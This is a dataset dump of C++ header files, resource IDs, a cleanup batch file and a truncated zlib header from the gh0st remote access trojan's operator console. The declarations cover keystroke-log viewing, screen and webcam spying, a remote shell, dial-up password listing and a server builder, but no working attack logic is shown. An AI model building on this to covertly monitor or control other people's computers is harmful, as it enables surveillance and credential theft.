code stringlengths 1 2.01M | repo_name stringlengths 3 62 | path stringlengths 1 267 | language stringclasses 231 values | license stringclasses 13 values | size int64 1 2.01M |
|---|---|---|---|---|---|
// MainFrm.h : interface of the CMainFrame class
//
/////////////////////////////////////////////////////////////////////////////
#if !defined(AFX_MAINFRM_H__3F531B4D_21DF_49EA_B4AF_63AA5555104F__INCLUDED_)
#define AFX_MAINFRM_H__3F531B4D_21DF_49EA_B4AF_63AA5555104F__INCLUDED_
#include "TrayIcon.h" // Added by ClassView
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "TabSDIFrameWnd.h"
#define CFrameWnd CTabSDIFrameWnd
class CMainFrame : public CFrameWnd
{
protected: // create from serialization only
CMainFrame();
DECLARE_DYNCREATE(CMainFrame)
// Attributes
public:
// Operations
public:
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CMainFrame)
public:
virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
//}}AFX_VIRTUAL
// Implementation
public:
void ShowToolTips(LPCTSTR lpszText);
void ShowConnectionsNumber();
static void ProcessPacket(ClientContext *pContext);
void Activate(UINT nPort, UINT nMaxConnections);
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
virtual ~CMainFrame();
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif //_DEBUG
protected: // control bar embedded members
CStatusBar m_wndStatusBar;
// Generated message map functions
protected:
//{{AFX_MSG(CMainFrame)
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnClose();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg LRESULT OnTrayNotification(WPARAM wParam,LPARAM lParam);
afx_msg void OnUpdateStatusBar(CCmdUI *pCmdUI);
afx_msg void OnShow();
afx_msg void OnHide();
afx_msg void OnExit();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
CTrayIcon m_TrayIcon;
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_MAINFRM_H__3F531B4D_21DF_49EA_B4AF_63AA5555104F__INCLUDED_)
| 07321-rat | trunk/gh0st/MainFrm.h | C++ | asf20 | 2,114 |
// IniFile.h: interface for the CIniFile class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_)
#define AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CIniFile
{
public:
CIniFile();
virtual ~CIniFile();
void SetIniFileName(CString FileName){ IniFileName = FileName; }
CString GetIniFileName(){ return IniFileName; }
CString GetString(CString AppName, CString KeyName, CString Default = "");
int GetInt(CString AppName, CString KeyName, int Default = 0);
unsigned long GetDWORD(CString AppName, CString KeyName, unsigned long Default = 0);
BOOL SetString(CString AppName, CString KeyName, CString Data);
BOOL SetInt(CString AppName, CString KeyName, int Data);
BOOL SetDouble(CString AppName, CString KeyName, double Data);
BOOL SetDWORD(CString AppName, CString KeyName, unsigned long Data);
private:
CString IniFileName;
};
#endif // !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_)
| 07321-rat | trunk/gh0st/IniFile.h | C++ | asf20 | 1,146 |
#if !defined(AFX_WEBCAMDLG_H__2E4F0D3D_DB2F_4F45_B543_D5F687A79CC6__INCLUDED_)
#define AFX_WEBCAMDLG_H__2E4F0D3D_DB2F_4F45_B543_D5F687A79CC6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// WebCamDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CWebCamDlg dialog
class CWebCamDlg : public CDialog
{
// Construction
public:
void OnReceiveComplete();
CWebCamDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CWebCamDlg)
enum { IDD = IDD_WEBCAM };
// NOTE: the ClassWizard will add data members here
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CWebCamDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CWebCamDlg)
afx_msg void OnClose();
virtual BOOL OnInitDialog();
afx_msg void OnPaint();
afx_msg void OnShowWindow(BOOL bShow, UINT nStatus);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnTimer(UINT nIDEvent);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
UINT m_nCount;
HICON m_hIcon;
HDC m_hDC;
HDRAWDIB m_hDD;
void DrawDIB();
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
LPVOID m_lpScreenDIB;
MINMAXINFO m_MMI;
BITMAPINFOHEADER m_bmih;
void InitMMI();
LRESULT OnGetMiniMaxInfo(WPARAM, LPARAM);
void SendNext();
void SendException();
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_WEBCAMDLG_H__2E4F0D3D_DB2F_4F45_B543_D5F687A79CC6__INCLUDED_)
| 07321-rat | trunk/gh0st/WebCamDlg.h | C++ | asf20 | 1,951 |
#if !defined(AFX_SHELLDLG_H__B9C64D08_103F_4401_9E0D_B8CCAE1B99C9__INCLUDED_)
#define AFX_SHELLDLG_H__B9C64D08_103F_4401_9E0D_B8CCAE1B99C9__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// ShellDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CShellDlg dialog
class CShellDlg : public CDialog
{
// Construction
public:
void OnReceiveComplete();
CShellDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CShellDlg)
enum { IDD = IDD_SHELL };
CEdit m_edit;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CShellDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CShellDlg)
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnChangeEdit();
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
UINT m_nCurSel;
UINT m_nReceiveLength;
void AddKeyBoardData();
void ResizeEdit();
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_SHELLDLG_H__B9C64D08_103F_4401_9E0D_B8CCAE1B99C9__INCLUDED_)
| 07321-rat | trunk/gh0st/ShellDlg.h | C++ | asf20 | 1,668 |
#if !defined(AFX_SETTINGSVIEW_H__0BE25EB6_DFFA_4CEB_A4E7_BD98236BB73A__INCLUDED_)
#define AFX_SETTINGSVIEW_H__0BE25EB6_DFFA_4CEB_A4E7_BD98236BB73A__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// SettingsView.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CSettingsView form view
#ifndef __AFXEXT_H__
#include <afxext.h>
#endif
#include "control/HoverEdit.h"
#include "control/WinXPButtonST.h"
//#define CButton CCJFlatButton
class CSettingsView : public CFormView
{
protected:
DECLARE_DYNCREATE(CSettingsView)
// Form Data
public:
//{{AFX_DATA(CSettingsView)
enum { IDD = IDD_SETTINGS };
CString m_remote_host;
CString m_remote_port;
CString m_encode;
UINT m_listen_port;
UINT m_max_connections;
BOOL m_connect_auto;
BOOL m_bIsProxyAuth;
BOOL m_bIsUsedProxy;
CString m_proxy_host;
CString m_proxy_pass;
CString m_proxy_port;
CString m_proxy_user;
BOOL m_bIsDisablePopTips;
//}}AFX_DATA
// Attributes
public:
// Operations
public:
CSettingsView(); // public constructor used by dynamic creation
virtual ~CSettingsView();
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CSettingsView)
public:
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView);
//}}AFX_VIRTUAL
// Implementation
protected:
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
// Generated message map functions
//{{AFX_MSG(CSettingsView)
afx_msg void OnChangeConfig(UINT id);
afx_msg void OnResetport();
afx_msg void OnConnectAuto();
afx_msg void OnCheckAuth();
afx_msg void OnTestProxy();
afx_msg void OnCheckProxy();
afx_msg void OnTestMaster();
afx_msg void OnDisablePoptips();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
static DWORD WINAPI TestProxy(LPVOID lparam);
static DWORD WINAPI TestMaster(LPVOID lparam);
void UpdateProxyControl();
bool m_bFirstShow;
CHoverEdit m_Edit[9];
CWinXPButtonST m_Btn[3];
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_SETTINGSVIEW_H__0BE25EB6_DFFA_4CEB_A4E7_BD98236BB73A__INCLUDED_)
| 07321-rat | trunk/gh0st/SettingsView.h | C++ | asf20 | 2,510 |
@echo off
echo ----------------------------------------------------
echo Press any key to delete all files with ending:
echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr
echo Visual c++/.Net junk
echo ----------------------------------------------------
pause
del /F /Q /S *.aps *.idb *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.res *.ncb *.opt *.suo *.manifest *.dep
pause
| 07321-rat | trunk/gh0st/removejunk.bat | Batchfile | asf20 | 398 |
#if !defined(AFX_KEYBOARDDLG_H__5CC31868_8DFD_4FDE_B3A6_7ADA94B0E765__INCLUDED_)
#define AFX_KEYBOARDDLG_H__5CC31868_8DFD_4FDE_B3A6_7ADA94B0E765__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// KeyBoardDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
class CKeyBoardDlg : public CDialog
{
// Construction
public:
void OnReceiveComplete();
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CKeyBoardDlg)
enum { IDD = IDD_KEYBOARD };
CEdit m_edit;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CKeyBoardDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CKeyBoardDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
void UpdateTitle();
void ResizeEdit();
void AddKeyBoardData();
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
bool m_bIsOfflineRecord;
void SendNext();
void SendException();
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_KEYBOARDDLG_H__5CC31868_8DFD_4FDE_B3A6_7ADA94B0E765__INCLUDED_)
| 07321-rat | trunk/gh0st/KeyBoardDlg.h | C++ | asf20 | 1,765 |
// stdafx.cpp : source file that includes just the standard includes
// gh0st.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
| 07321-rat | trunk/gh0st/StdAfx.cpp | C++ | asf20 | 207 |
#if !defined(AFX_SystemDlg_H__7A784A33_3CF5_4998_B9A1_1E1C11EF8EB2__INCLUDED_)
#define AFX_SystemDlg_H__7A784A33_3CF5_4998_B9A1_1E1C11EF8EB2__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// SystemDlg.h : header file
//
#define CListCtrl CCJListCtrl
/////////////////////////////////////////////////////////////////////////////
// CSystemDlg dialog
class CSystemDlg : public CDialog
{
// Construction
public:
CSystemDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
void OnReceiveComplete();
// Dialog Data
//{{AFX_DATA(CSystemDlg)
enum { IDD = IDD_SYSTEM };
CListCtrl m_list_dialupass;
CListCtrl m_list_windows;
CListCtrl m_list_process;
CTabCtrl m_tab;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CSystemDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
private:
void AdjustList();
void ShowProcessList();
void ShowWindowsList();
void ShowDialupassList();
void ShowSelectWindow();
void GetProcessList();
void GetWindowsList();
void GetDialupassList();
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
// Generated message map functions
//{{AFX_MSG(CSystemDlg)
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnKillprocess();
afx_msg void OnRefreshPsList();
afx_msg void OnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_SystemDlg_H__7A784A33_3CF5_4998_B9A1_1E1C11EF8EB2__INCLUDED_)
| 07321-rat | trunk/gh0st/SystemDlg.h | C++ | asf20 | 2,010 |
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by gh0st.rc
//
#define IDD_ABOUTBOX 100
#define IDR_MAINFRAME 128
#define IDR_GH0STTYPE 129
#define IDD_BUILD 131
#define IDD_FILE 132
#define IDR_LIST 133
#define IDC_DRAG 134
#define IDC_MUTI_DRAG 135
#define IDC_CURSOR3 136
#define IDC_CURSOR4 137
#define IDD_SETTINGS 140
#define IDR_FILEMANAGER 146
#define IDR_TOOLBAR1 147
#define IDB_TOOLBAR 149
#define IDB_TOOLBAR_ENABLE 149
#define IDR_TOOLBAR2 154
#define IDR_LOCAL_VIEW 156
#define IDR_REMOTE_VIEW 157
#define IDB_TOOLBAR_DISABLE 158
#define IDD_TRANSFERMODE_DLG 159
#define IDD_SCREENSPY 160
#define IDD_DOWNEXEC 162
#define IDD_WEBCAM 163
#define IDI_WEBCAM 164
#define IDB_ARROWDOWN 165
#define IDB_ARROWUP 166
#define IDD_KEYBOARD 167
#define IDD_NEWFOLDER 168
#define IDD_SYSTEM 169
#define IDR_PSLIST 170
#define IDD_SHELL 171
#define IDR_BSS 173
#define IDI_CMDSHELL 177
#define IDI_KEYBOARD 178
#define IDI_SYSTEM 179
#define IDC_DOT 182
#define IDR_MINIMIZE 183
#define IDC_LIST_REMOTE 1005
#define IDC_LIST_LOCAL 1006
#define IDC_LOCAL_PATH 1007
#define IDC_REMOTE_PATH 1008
#define IDC_STATIC_REMOTE 1009
#define IDC_CONFIRM 1010
#define IDC_PORT 1011
#define IDC_LISTEN_PORT 1011
#define IDC_OVERWRITE 1012
#define IDC_CONNECT_MAX 1012
#define IDC_ADDITION 1013
#define IDC_JUMP 1014
#define IDC_OVERWRITE_ALL 1015
#define IDC_ADDITION_ALL 1016
#define IDC_JUMP_ALL 1017
#define IDC_CANCEL 1018
#define IDC_TIPS 1019
#define IDC_URL 1021
#define IDC_ENCODE 1022
#define IDC_DNS_STRING 1022
#define IDC_REMOTE_HOST 1023
#define IDC_REMOTE_PORT 1024
#define IDC_PROXY_HOST 1025
#define IDC_PROXY_PORT 1026
#define IDC_PROXY_USER 1027
#define IDC_PROXY_PASS 1028
#define IDC_EDIT 1029
#define IDC_RESETPORT 1030
#define IDC_FOLDERNAME 1031
#define IDC_LIST_PROCESS 1034
#define IDC_TAB 1035
#define IDC_LIST_WINDOWS 1036
#define IDC_LIST_DIALUPASS 1037
#define IDC_BUILD 1038
#define IDC_CONNECT_AUTO 1040
#define IDC_STATIC_VER 1041
#define IDC_ENABLE_HTTP 1043
#define IDC_CHECK_AUTH 1048
#define IDC_CHECK_PROXY 1049
#define IDC_TEST_PROXY 1050
#define IDC_TEST_MASTER 1051
#define IDC_SYSTEM_TIPS 1052
#define IDC_DISABLE_POPTIPS 1053
#define ID_LOCAL_TOOLBAR 0x5001
#define ID_REMOTE_TOOLBAR 0x5002
#define ID_APP_PWD 32771
#define IDM_FILEMANAGER 32772
#define IDM_SHUTDOWN 32773
#define IDM_REBOOT 32774
#define IDM_TRANSFER 32775
#define IDM_RENAME 32776
#define IDM_DELETE 32777
#define IDM_NEWFOLDER 32778
#define IDM_PROPERTY 32779
#define IDT_LOCAL_PREV 32780
#define IDT_LOCAL_COPY 32781
#define IDT_LOCAL_DELETE 32782
#define IDT_LOCAL_VIEW 32783
#define IDT_LOCAL_NEWFOLDER 32784
#define IDT_REMOTE_PREV 32790
#define IDT_REMOTE_COPY 32791
#define IDT_REMOTE_DELETE 32792
#define IDT_REMOTE_NEWFOLDER 32793
#define IDT_REMOTE_VIEW 32794
#define IDT_REMOTE_STOP 32795
#define IDT_LOCAL_STOP 32797
#define IDM_LOCAL_BIGICON 32798
#define IDM_LOCAL_SMALLICON 32799
#define IDM_LOCAL_LIST 32800
#define IDM_LOCAL_REPORT 32801
#define IDM_REMOTE_BIGICON 32802
#define IDM_REMOTE_SMALLICON 32803
#define IDM_REMOTE_LIST 32804
#define IDM_REMOTE_REPORT 32805
#define IDM_SCREENSPY 32806
#define IDM_DOWNEXEC 32807
#define IDM_WEBCAM 32808
#define IDM_REMOVE 32809
#define IDM_KEYBOARD 32810
#define IDM_REFRESH 32811
#define IDM_SYSTEM 32812
#define IDM_KILLPROCESS 32813
#define IDM_REFRESHPSLIST 32814
#define IDM_REMOTESHELL 32815
#define IDM_LOGOFF 32818
#define IDM_SELECT_ALL 32820
#define IDM_UNSELECT_ALL 32821
#define IDM_OPEN_URL_SHOW 32825
#define IDM_OPEN_URL_HIDE 32827
#define IDM_CLEANEVENT 32828
#define IDM_HIDE 32829
#define IDM_SHOW 32830
#define IDM_EXIT 32831
#define IDM_RENAME_REMARK 32832
#define IDM_UPDATE_SERVER 32833
#define IDM_LOCAL_OPEN 32834
#define IDM_REMOTE_OPEN_SHOW 32836
#define IDM_REMOTE_OPEN_HIDE 32837
#define ID_STAUTSTIP 59394
#define ID_STAUTSSPEED 59395
#define ID_STAUTSPORT 59396
#define ID_STAUTSCOUNT 59397
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_3D_CONTROLS 1
#define _APS_NEXT_RESOURCE_VALUE 184
#define _APS_NEXT_COMMAND_VALUE 32838
#define _APS_NEXT_CONTROL_VALUE 1054
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
| 07321-rat | trunk/gh0st/Resource.h | C | asf20 | 6,875 |
/***=========================================================================
==== ====
==== D C U t i l i t y ====
==== ====
=============================================================================
==== ====
==== File name : TrueColorToolBar.h ====
==== Project name : Tester ====
==== Project number : --- ====
==== Creation date : 13/1/2003 ====
==== Author(s) : Dany Cantin ====
==== ====
==== Copyright ?DCUtility 2003 ====
==== ====
=============================================================================
===========================================================================*/
#ifndef TRUECOLORTOOLBAR_H_
#define TRUECOLORTOOLBAR_H_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <afxtempl.h>
/////////////////////////////////////////////////////////////////////////////
// CTrueColorToolBar
class CTrueColorToolBar : public CToolBar
{
// Construction
public:
CTrueColorToolBar();
// Attributes
private:
BOOL m_bDropDown;
struct stDropDownInfo {
public:
UINT uButtonID;
UINT uMenuID;
CWnd* pParent;
};
CArray <stDropDownInfo, stDropDownInfo&> m_lstDropDownButton;
// Operations
public:
BOOL LoadTrueColorToolBar(int nBtnWidth,
UINT uToolBar,
UINT uToolBarHot = 0,
UINT uToolBarDisabled = 0);
void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID);
private:
BOOL SetTrueColorToolBar(UINT uToolBarType,
UINT uToolBar,
int nBtnWidth);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CTrueColorToolBar)
//}}AFX_VIRTUAL
// Implementation
public:
virtual ~CTrueColorToolBar();
// Generated message map functions
protected:
//{{AFX_MSG(CTrueColorToolBar)
afx_msg void OnToolbarDropDown(NMHDR* NMHDRpnmtb, LRESULT* plRes);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // TRUECOLORTOOLBAR_H_
| 07321-rat | trunk/gh0st/TrueColorToolBar.h | C++ | asf20 | 2,821 |
/* zlib.h -- interface of the 'zlib' general purpose compression library
version 1.1.4, March 11th, 2002
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly Mark Adler
jloup@gzip.org madler@alumni.caltech.edu
The data format used by the zlib library is described by RFCs (Request for
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
*/
#ifndef _ZLIB_H
#define _ZLIB_H
#include "zconf.h"
#ifdef __cplusplus
extern "C" {
#endif
#define ZLIB_VERSION "1.1.4"
/*
The 'zlib' compression library provides in-memory compression and
decompression functions, including integrity checks of the uncompressed
data. This version of the library supports only one compression method
(deflation) but other algorithms will be added later and will have the same
stream interface.
Compression can be done in a single step if the buffers are large
enough (for example if an input file is mmap'ed), or can be done by
repeated calls of the compression function. In the latter case, the
application must provide more input and/or consume the output
(providing more output space) before each call.
The library also supports reading and writing files in gzip (.gz) format
with an interface similar to that of stdio.
The library does not install any signal handler. The decoder checks
the consistency of the compressed data, so the library should never
crash even in case of corrupted input.
*/
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
typedef void (*free_func) OF((voidpf opaque, voidpf address));
struct internal_state;
typedef struct z_stream_s {
Bytef *next_in; /* next input byte */
uInt avail_in; /* number of bytes available at next_in */
uLong total_in; /* total nb of input bytes read so far */
Bytef *next_out; /* next output byte should be put there */
uInt avail_out; /* remaining free space at next_out */
uLong total_out; /* total nb of bytes output so far */
char *msg; /* last error message, NULL if no error */
struct internal_state FAR *state; /* not visible by applications */
alloc_func zalloc; /* used to allocate the internal state */
free_func zfree; /* used to free the internal state */
voidpf opaque; /* private data object passed to zalloc and zfree */
int data_type; /* best guess about the data type: ascii or binary */
uLong adler; /* adler32 value of the uncompressed data */
uLong reserved; /* reserved for future use */
} z_stream;
typedef z_stream FAR *z_streamp;
/*
The application must update next_in and avail_in when avail_in has
dropped to zero. It must update next_out and avail_out when avail_out
has dropped to zero. The application must initialize zalloc, zfree and
opaque before calling the init function. All other fields are set by the
compression library and must not be updated by the application.
The opaque value provided by the application will be passed as the first
parameter for calls of zalloc and zfree. This can be useful for custom
memory management. The compression library attaches no meaning to the
opaque value.
zalloc must return Z_NULL if there is not enough memory for the object.
If zlib is used in a multi-threaded application, zalloc and zfree must be
thread safe.
On 16-bit systems, the functions zalloc and zfree must be able to allocate
exactly 65536 bytes, but will not be required to allocate more than this
if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
pointers returned by zalloc for objects of exactly 65536 bytes *must*
have their offset normalized to zero. The default allocation function
provided by this library ensures this (see zutil.c). To reduce memory
requirements and avoid any allocation of 64K objects, at the expense of
compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
The fields total_in and total_out can be used for statistics or
progress reports. After compression, total_in holds the total size of
the uncompressed data and may be saved for use in the decompressor
(particularly if the decompressor wants to decompress everything in
a single step).
*/
/* constants */
#define Z_NO_FLUSH 0
#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
#define Z_SYNC_FLUSH 2
#define Z_FULL_FLUSH 3
#define Z_FINISH 4
/* Allowed flush values; see deflate() below for details */
#define Z_OK 0
#define Z_STREAM_END 1
#define Z_NEED_DICT 2
#define Z_ERRNO (-1)
#define Z_STREAM_ERROR (-2)
#define Z_DATA_ERROR (-3)
#define Z_MEM_ERROR (-4)
#define Z_BUF_ERROR (-5)
#define Z_VERSION_ERROR (-6)
/* Return codes for the compression/decompression functions. Negative
* values are errors, positive values are used for special but normal events.
*/
#define Z_NO_COMPRESSION 0
#define Z_BEST_SPEED 1
#define Z_BEST_COMPRESSION 9
#define Z_DEFAULT_COMPRESSION (-1)
/* compression levels */
#define Z_FILTERED 1
#define Z_HUFFMAN_ONLY 2
#define Z_DEFAULT_STRATEGY 0
/* compression strategy; see deflateInit2() below for details */
#define Z_BINARY 0
#define Z_ASCII 1
#define Z_UNKNOWN 2
/* Possible values of the data_type field */
#define Z_DEFLATED 8
/* The deflate compression method (the only one supported in this version) */
#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
#define zlib_version zlibVersion()
/* for compatibility with versions < 1.0.2 */
/* basic functions */
ZEXTERN const char * ZEXPORT zlibVersion OF((void));
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
If the first character differs, the library code actually used is
not compatible with the zlib.h header file used by the application.
This check is automatically made by deflateInit and inflateInit.
*/
/*
ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
Initializes the internal stream state for compression. The fields
zalloc, zfree and opaque must be initialized before by the caller.
If zalloc and zfree are set to Z_NULL, deflateInit updates them to
use default allocation functions.
The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
1 gives best speed, 9 gives best compression, 0 gives no compression at
all (the input data is simply copied a block at a time).
Z_DEFAULT_COMPRESSION requests a default compromise between speed and
compression (currently equivalent to level 6).
deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if level is not a valid compression level,
Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
with the version assumed by the caller (ZLIB_VERSION).
msg is set to null if there is no error message. deflateInit does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
/*
deflate compresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may introduce some
output latency (reading input without producing any output) except when
forced to flush.
The detailed semantics are as follows. deflate performs one or both of the
following actions:
- Compress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in and avail_in are updated and
processing will resume at this point for the next call of deflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. This action is forced if the parameter flush is non zero.
Forcing flush frequently degrades the compression ratio, so this parameter
should be set only when necessary (in interactive applications).
Some output may be provided even if flush is not set.
Before the call of deflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating avail_in or avail_out accordingly; avail_out
should never be zero before the call. The application can consume the
compressed output when it wants, for example when the output buffer is full
(avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
and with zero avail_out, it must be called again after making room in the
output buffer because there might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
flushed to the output buffer and the output is aligned on a byte boundary, so
that the decompressor can get all input data available so far. (In particular
avail_in is zero after the call if enough output space has been provided
before the call.) Flushing may degrade compression for some compression
algorithms and so it should be used only when necessary.
If flush is set to Z_FULL_FLUSH, all output is flushed as with
Z_SYNC_FLUSH, and the compression state is reset so that decompression can
restart from this point if previous compressed data has been damaged or if
random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
the compression.
If deflate returns with avail_out == 0, this function must be called again
with the same value of the flush parameter and more output space (updated
avail_out), until the flush is complete (deflate returns with non-zero
avail_out).
If the parameter flush is set to Z_FINISH, pending input is processed,
pending output is flushed and deflate returns with Z_STREAM_END if there
was enough output space; if deflate returns with Z_OK, this function must be
called again with Z_FINISH and more output space (updated avail_out) but no
more input data, until it returns with Z_STREAM_END or an error. After
deflate has returned Z_STREAM_END, the only possible operations on the
stream are deflateReset or deflateEnd.
Z_FINISH can be used immediately after deflateInit if all the compression
is to be done in a single step. In this case, avail_out must be at least
0.1% larger than avail_in plus 12 bytes. If deflate does not return
